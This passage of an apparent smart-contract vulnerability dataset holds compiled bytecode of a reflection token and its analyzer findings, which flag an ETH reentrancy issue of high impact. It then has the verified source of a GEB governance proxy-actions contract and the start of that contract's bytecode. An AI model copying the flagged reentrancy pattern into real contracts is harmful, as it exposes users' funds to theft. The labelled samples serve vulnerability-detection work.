fffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119245750600f60169054906101000a900460ff165b1561194c5761193281611b2b565b6000479050600081111561194a57611949476119c2565b5b505b505b611959838383611db3565b505050565b60008383111582906119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d9190612b4b565b60405180910390fd5b50600083856119b59190612ee4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a12600284611dc390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a3d573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a8e600284611dc390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ab9573d6000803e3d6000fd5b5050565b6000600854821115611b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afb90612bad565b60405180910390fd5b6000611b0e611e0d565b9050611b238184611dc390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6357611b626130b9565b5b604051908082528060200260200182016040528015611b915781602001602082028036833780820191505090505b5090503081600081518110611ba957611ba861308a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4b57600080fd5b505afa158015611c5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8391906125b5565b81600181518110611c9757611c9661308a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cfe30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d62959493929190612ce8565b600060405180830381600087803b158015611d7c57600080fd5b505af1158015611d90573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dbe838383611e38565b505050565b6000611e0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612003565b905092915050565b6000806000611e1a612066565b91509150611e318183611dc390919063ffffffff16565b9250505090565b600080600080600080611e4a876120cb565b955095509550955095509550611ea886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f3d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f89816121db565b611f938483612298565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff09190612ccd565b60405180910390a3505050505050505050565b6000808311829061204a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120419190612b4b565b60405180910390fd5b50600083856120599190612e59565b9050809150509392505050565b60008060006008549050600069d3c21bcecceda1000000905061209e69d3c21bcecceda1000000600854611dc390919063ffffffff16565b8210156120be5760085469d3c21bcecceda10000009350935050506120c7565b81819350935050505b9091565b60008060008060008060008060006120e88a600a54600b546122d2565b92509250925060006120f8611e0d565b9050600080600061210b8e878787612368565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061195e565b905092915050565b600080828461218c9190612e03565b9050838110156121d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c890612bed565b60405180910390fd5b8091505092915050565b60006121e5611e0d565b905060006121fc82846123f190919063ffffffff16565b905061225081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122ad8260085461213390919063ffffffff16565b6008819055506122c88160095461217d90919063ffffffff16565b6009819055505050565b6000806000806122fe60646122f0888a6123f190919063ffffffff16565b611dc390919063ffffffff16565b90506000612328606461231a888b6123f190919063ffffffff16565b611dc390919063ffffffff16565b9050600061235182612343858c61213390919063ffffffff16565b61213390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238185896123f190919063ffffffff16565b9050600061239886896123f190919063ffffffff16565b905060006123af87896123f190919063ffffffff16565b905060006123d8826123ca858761213390919063ffffffff16565b61213390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124045760009050612466565b600082846124129190612e8a565b90508284826124219190612e59565b14612461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245890612c0d565b60405180910390fd5b809150505b92915050565b600061247f61247a84612d82565b612d5d565b905080838252602082019050828560208602820111156124a2576124a16130ed565b5b60005b858110156124d257816124b888826124dc565b8452602084019350602083019250506001810190506124a5565b5050509392505050565b6000813590506124eb816133da565b92915050565b600081519050612500816133da565b92915050565b600082601f83011261251b5761251a6130e8565b5b813561252b84826020860161246c565b91505092915050565b600081359050612543816133f1565b92915050565b600081519050612558816133f1565b92915050565b60008135905061256d81613408565b92915050565b60008151905061258281613408565b92915050565b60006020828403121561259e5761259d6130f7565b5b60006125ac848285016124dc565b91505092915050565b6000602082840312156125cb576125ca6130f7565b5b60006125d9848285016124f1565b91505092915050565b600080604083850312156125f9576125f86130f7565b5b6000612607858286016124dc565b9250506020612618858286016124dc565b9150509250929050565b60008060006060848603121561263b5761263a6130f7565b5b6000612649868287016124dc565b935050602061265a868287016124dc565b925050604061266b8682870161255e565b9150509250925092565b6000806040838503121561268c5761268b6130f7565b5b600061269a858286016124dc565b92505060206126ab8582860161255e565b9150509250929050565b6000602082840312156126cb576126ca6130f7565b5b600082013567ffffffffffffffff8111156126e9576126e86130f2565b5b6126f584828501612506565b91505092915050565b600060208284031215612714576127136130f7565b5b600061272284828501612534565b91505092915050565b600060208284031215612741576127406130f7565b5b600061274f84828501612549565b91505092915050565b60006020828403121561276e5761276d6130f7565b5b600061277c8482850161255e565b91505092915050565b60008060006060848603121561279e5761279d6130f7565b5b60006127ac86828701612573565b93505060206127bd86828701612573565b92505060406127ce86828701612573565b9150509250925092565b60006127e483836127f0565b60208301905092915050565b6127f981612f18565b82525050565b61280881612f18565b82525050565b600061281982612dbe565b6128238185612de1565b935061282e83612dae565b8060005b8381101561285f57815161284688826127d8565b975061285183612dd4565b925050600181019050612832565b5085935050505092915050565b61287581612f2a565b82525050565b61288481612f6d565b82525050565b600061289582612dc9565b61289f8185612df2565b93506128af818560208601612f7f565b6128b8816130fc565b840191505092915050565b60006128d0602383612df2565b91506128db8261310d565b604082019050919050565b60006128f3600c83612df2565b91506128fe8261315c565b602082019050919050565b6000612916602a83612df2565b915061292182613185565b604082019050919050565b6000612939602283612df2565b9150612944826131d4565b604082019050919050565b600061295c601b83612df2565b915061296782613223565b602082019050919050565b600061297f602183612df2565b915061298a8261324c565b604082019050919050565b60006129a2602083612df2565b91506129ad8261329b565b602082019050919050565b60006129c5602983612df2565b91506129d0826132c4565b604082019050919050565b60006129e8602583612df2565b91506129f382613313565b604082019050919050565b6000612a0b602483612df2565b9150612a1682613362565b604082019050919050565b6000612a2e601783612df2565b9150612a39826133b1565b602082019050919050565b612a4d81612f56565b82525050565b612a5c81612f60565b82525050565b6000602082019050612a7760008301846127ff565b92915050565b6000604082019050612a9260008301856127ff565b612a9f60208301846127ff565b9392505050565b6000604082019050612abb60008301856127ff565b612ac86020830184612a44565b9392505050565b600060c082019050612ae460008301896127ff565b612af16020830188612a44565b612afe604083018761287b565b612b0b606083018661287b565b612b1860808301856127ff565b612b2560a0830184612a44565b979650505050505050565b6000602082019050612b45600083018461286c565b92915050565b60006020820190508181036000830152612b65818461288a565b905092915050565b60006020820190508181036000830152612b86816128c3565b9050919050565b60006020820190508181036000830152612ba6816128e6565b9050919050565b60006020820190508181036000830152612bc681612909565b9050919050565b60006020820190508181036000830152612be68161292c565b9050919050565b60006020820190508181036000830152612c068161294f565b9050919050565b60006020820190508181036000830152612c2681612972565b9050919050565b60006020820190508181036000830152612c4681612995565b9050919050565b60006020820190508181036000830152612c66816129b8565b9050919050565b60006020820190508181036000830152612c86816129db565b9050919050565b60006020820190508181036000830152612ca6816129fe565b9050919050565b60006020820190508181036000830152612cc681612a21565b9050919050565b6000602082019050612ce26000830184612a44565b92915050565b600060a082019050612cfd6000830188612a44565b612d0a602083018761287b565b8181036040830152612d1c818661280e565b9050612d2b60608301856127ff565b612d386080830184612a44565b9695505050505050565b6000602082019050612d576000830184612a53565b92915050565b6000612d67612d78565b9050612d738282612fb2565b919050565b6000604051905090565b600067ffffffffffffffff821115612d9d57612d9c6130b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e0e82612f56565b9150612e1983612f56565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e4e57612e4d61302c565b5b828201905092915050565b6000612e6482612f56565b9150612e6f83612f56565b925082612e7f57612e7e61305b565b5b828204905092915050565b6000612e9582612f56565b9150612ea083612f56565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ed957612ed861302c565b5b828202905092915050565b6000612eef82612f56565b9150612efa83612f56565b925082821015612f0d57612f0c61302c565b5b828203905092915050565b6000612f2382612f36565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f7882612f56565b9050919050565b60005b83811015612f9d578082015181840152602081019050612f82565b83811115612fac576000848401525b50505050565b612fbb826130fc565b810181811067ffffffffffffffff82111715612fda57612fd96130b9565b5b80604052505050565b6000612fee82612f56565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130215761302061302c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133e381612f18565b81146133ee57600080fd5b50565b6133fa81612f2a565b811461340557600080fd5b50565b61341181612f56565b811461341c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cbffcf7623954db914dcbecda11d7c75568a5af1b7838410571cc09b8e200d4364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
231
0x534c3283059Fb3D62a93496a6aba8f97A37dAcCC
/** *Submitted for verification at Etherscan.io on 2021-04-05 */ /// GebPauseScheduleProxyActions.sol // Copyright (C) 2018 Gonzalo Balabasquer <[email protected]> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity 0.6.7; abstract contract PauseLike { function scheduleTransaction(address, bytes32, bytes memory, uint) virtual public; } contract GebPauseScheduleProxyActions { function modifyParameters(address pause, address actions, address who, bytes32 parameter, uint data, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyParameters(address,bytes32,uint256)", who, parameter, data), earliestExecutionTime ); } function modifyParameters(address pause, address actions, address who, bytes32 parameter, int data, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyParameters(address,bytes32,int256)", who, parameter, data), earliestExecutionTime ); } function modifyParameters(address pause, address actions, address who, bytes32 parameter, address data, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyParameters(address,bytes32,address)", who, parameter, data), earliestExecutionTime ); } function modifyParameters(address pause, address actions, address who, bytes32 collateralType, bytes32 parameter, uint data, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyParameters(address,bytes32,bytes32,uint256)", who, collateralType, parameter, data), earliestExecutionTime ); } function modifyParameters(address pause, address actions, address who, bytes32 collateralType, bytes32 parameter, address data, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyParameters(address,bytes32,bytes32,address)", who, collateralType, parameter, data), earliestExecutionTime ); } function modifyParameters(address pause, address actions, address who, bytes32 collateralType, uint data1, uint data2, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyParameters(address,bytes32,uint256,uint256)", who, collateralType, data1, data2), earliestExecutionTime ); } function modifyParameters(address pause, address actions, address who, bytes32 collateralType, uint data1, uint data2, address data3, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyParameters(address,bytes32,uint256,uint256,address)", who, collateralType, data1, data2, data3), earliestExecutionTime ); } function modifyParameters(address pause, address actions, address who, uint256 data1, bytes32 data2, uint256 data3, uint256 earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyParameters(address,uint256,bytes32,uint256)", who, data1, data2, data3), earliestExecutionTime ); } function transferTokenOut(address pause, address actions, address who, address token, address receiver, uint256 amount, uint256 earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("transferTokenOut(address,address,address,uint256)", who, token, receiver, amount), earliestExecutionTime ); } function deploy(address pause, address actions, address who, address stakingToken, uint256 data1, uint256 data2, uint256 earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("deploy(address,address,uint256,uint256)", who, stakingToken, data1, data2), earliestExecutionTime ); } function notifyRewardAmount(address pause, address actions, address who, uint256 campaignNumber, uint256 earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("notifyRewardAmount(address,uint256)", who, campaignNumber), earliestExecutionTime ); } function deployAndNotifyRewardAmount(address pause, address actions, address who, address stakingToken, uint256 data1, uint256 data2, uint256 earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("deployAndNotifyRewardAmount(address,address,uint256,uint256)", who, stakingToken, data1, data2), earliestExecutionTime ); } function addReader(address pause, address actions, address validator, address reader, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("addReader(address,address)", validator, reader), earliestExecutionTime ); } function removeReader(address pause, address actions, address validator, address reader, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("removeReader(address,address)", validator, reader), earliestExecutionTime ); } function addAuthority(address pause, address actions, address validator, address account, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("addAuthority(address,address)", validator, account), earliestExecutionTime ); } function removeAuthority(address pause, address actions, address validator, address account, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("removeAuthority(address,address)", validator, account), earliestExecutionTime ); } function connectSAFESaviour(address pause, address actions, address targetContract, address saviour, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("connectSAFESaviour(address,address)", targetContract, saviour), earliestExecutionTime ); } function disconnectSAFESaviour(address pause, address actions, address targetContract, address saviour, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("disconnectSAFESaviour(address,address)", targetContract, saviour), earliestExecutionTime ); } function toggleSaviour(address pause, address actions, address targetContract, address saviour, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("toggleSaviour(address,address)", targetContract, saviour), earliestExecutionTime ); } function changePriceSource(address pause, address actions, address fsm, address priceSource, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("changePriceSource(address,address)", fsm, priceSource), earliestExecutionTime ); } function stopFsm(address pause, address actions, address fsmGovInterface, bytes32 collateralType, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("stopFsm(address,bytes32)", fsmGovInterface, collateralType), earliestExecutionTime ); } function start(address pause, address actions, address fsm, uint earliestExecutionTime) public { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("start(address)", fsm), earliestExecutionTime ); } function modifyTwoParameters( address pause, address actions, address who1, address who2, bytes32 collateralType1, bytes32 collateralType2, bytes32 parameter1, bytes32 parameter2, uint data1, uint data2, uint earliestExecutionTime ) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyTwoParameters(address,address,bytes32,bytes32,bytes32,bytes32,uint256,uint256)", who1, who2, collateralType1, collateralType2, parameter1, parameter2, data1, data2), earliestExecutionTime ); } function modifyTwoParameters( address pause, address actions, address who1, address who2, bytes32 parameter1, bytes32 parameter2, uint data1, uint data2, uint earliestExecutionTime ) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("modifyTwoParameters(address,address,bytes32,bytes32,uint256,uint256)", who1, who2, parameter1, parameter2, data1, data2), earliestExecutionTime ); } function removeAuthorization(address pause, address actions, address who, address to, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("removeAuthorization(address,address)", who, to), earliestExecutionTime ); } function addAuthorization(address pause, address actions, address who, address to, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("addAuthorization(address,address)", who, to), earliestExecutionTime ); } function updateRedemptionRate(address pause, address actions, address who, bytes32 parameter, uint data, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("updateRedemptionRate(address,bytes32,uint256)", who, parameter, data), earliestExecutionTime ); } function updateRateAndModifyParameters(address pause, address actions, address who, bytes32 parameter, uint data, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("updateRateAndModifyParameters(address,bytes32,uint256)", who, parameter, data), earliestExecutionTime ); } function taxSingleAndModifyParameters(address pause, address actions, address who, bytes32 collateralType, bytes32 parameter, uint data, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("taxSingleAndModifyParameters(address,bytes32,bytes32,uint256)", who, collateralType, parameter, data), earliestExecutionTime ); } function setTotalAllowance(address pause, address actions, address who, address account, uint rad, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("setTotalAllowance(address,address,uint256)", who, account, rad), earliestExecutionTime ); } function setPerBlockAllowance(address pause, address actions, address who, address account, uint rad, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("setPerBlockAllowance(address,address,uint256)", who, account, rad), earliestExecutionTime ); } function setAuthorityAndDelay(address pause, address actions, address newAuthority, uint newDelay, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("setAuthorityAndDelay(address,address,uint256)", pause, newAuthority, newDelay), earliestExecutionTime ); } function shutdownSystem(address pause, address actions, address globalSettlement, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("shutdownSystem(address)", globalSettlement), earliestExecutionTime ); } function setDelay(address pause, address actions, uint newDelay, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("setDelay(address,uint256)", pause, newDelay), earliestExecutionTime ); } function setAllowance(address pause, address actions, address join, address account, uint allowance, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("setAllowance(address,address,uint256)", join, account, allowance), earliestExecutionTime ); } function mint(address pause, address actions, address token, address to, uint value, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("mint(address,address,uint256)", token, to, value), earliestExecutionTime ); } function burn(address pause, address actions, address token, address from, uint value, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("burn(address,address,uint256)", token, from, value), earliestExecutionTime ); } function deployDistributorAndSendTokens(address pause, address actions, address target, bytes32 merkleRoot, uint256 amount, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("deployDistributorAndSendTokens(address,bytes32,uint256)", target, merkleRoot, amount), earliestExecutionTime ); } function sendTokensToCustom(address pause, address actions, address target, address dst, uint256 amount, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("sendTokensToCustom(address,address,uint256)", target, dst, amount), earliestExecutionTime ); } function dropDistributorAuth(address pause, address actions, address target, uint256 id, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("dropDistributorAuth(address,uint256)", target, id), earliestExecutionTime ); } function getBackTokensFromDistributor(address pause, address actions, address target, uint256 id, uint256 amount, uint earliestExecutionTime) external { bytes32 tag; assembly { tag := extcodehash(actions) } PauseLike(pause).scheduleTransaction( address(actions), tag, abi.encodeWithSignature("getBackTokensFromDistributor(address,uint256,uint256)", target, id, amount), earliestExecutionTime ); } }
0x608060405234801561001057600080fd5b50600436106102525760003560e01c80636f997dff11610146578063a34b4af5116100c3578063dded7ce911610087578063dded7ce914610c96578063e555d15f14610cdc578063f54f5e6d14610d24578063fbdc5eb714610d66578063feddd94714610dac578063ff3ab05914610df257610252565b8063a34b4af514610af6578063ae2c8d3c14610b48578063b250656914610b94578063b557597e14610c02578063cc1ab9aa14610c4457610252565b80638a8cde611161010a5780638a8cde61146109885780638df40469146109d05780638e1aa4ad14610a1e57806391e700aa14610a64578063a22e7b7614610ab057610252565b80636f997dff1461082657806370ca84571461086257806381ac1995146108b057806382dbc684146108f257806388cd9c0b1461093a57610252565b8063488df87f116101d45780635f9baa38116101985780635f9baa38146106c857806362edcae814610714578063649d4a481461075057806364a1d059146107a25780636a4eeb3a146107de57610252565b8063488df87f146105545780634d45a2801461059a5780634f30f09e146105e65780635b84f05e146106325780635ce5991d1461068057610252565b80631ec701f41161021b5780631ec701f4146103e3578063208db12f146104295780632437ed3414610473578063259e92cb146104ca5780634708ba4a1461051257610252565b806242088314610257578063116b2f7f146102ab578063182cd7011461030b5780631d7e3214146103515780631da85a971461039d575b600080fd5b6102a9600480360360e081101561026d57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a08101359060c00135610e38565b005b6102a960048036036101208110156102c257600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a08101359060c08101359060e0810135906101000135610f76565b6102a9600480360360a081101561032157600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060800135611108565b6102a9600480360360c081101561036757600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a00135611232565b6102a9600480360360a08110156103b357600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135909116906080013561136b565b6102a9600480360360a08110156103f957600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060800135611425565b6102a9600480360360c081101561043f57600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135916080820135169060a001356114df565b6102a9600480360361010081101561048a57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359160808201359160a08101359160c0820135169060e001356115a7565b6102a9600480360360c08110156104e057600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a00135611730565b6102a9600480360360a081101561052857600080fd5b506001600160a01b038135811691602081013582169160408201351690606081013590608001356117f4565b6102a9600480360360a081101561056a57600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013590911690608001356118aa565b6102a9600480360360c08110156105b057600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a00135611964565b6102a9600480360360c08110156105fc57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a00135611a2c565b6102a9600480360360e081101561064857600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a08101359060c00135611af4565b6102a9600480360360c081101561069657600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a00135611bbc565b6102a9600480360360c08110156106de57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a00135611c80565b6102a96004803603608081101561072a57600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135611d48565b6102a9600480360360e081101561076657600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101358216916080820135169060a08101359060c00135611e67565b6102a9600480360360808110156107b857600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135611f37565b6102a9600480360360c08110156107f457600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a00135611fe7565b6102a96004803603608081101561083c57600080fd5b506001600160a01b038135811691602081013590911690604081013590606001356120ab565b6102a9600480360360e081101561087857600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a08101359060c0013561215f565b6102a9600480360360a08110156108c657600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060800135612227565b6102a9600480360360c081101561090857600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a001356122dd565b6102a9600480360360e081101561095057600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a08101359060c001356123a1565b6102a9600480360360c08110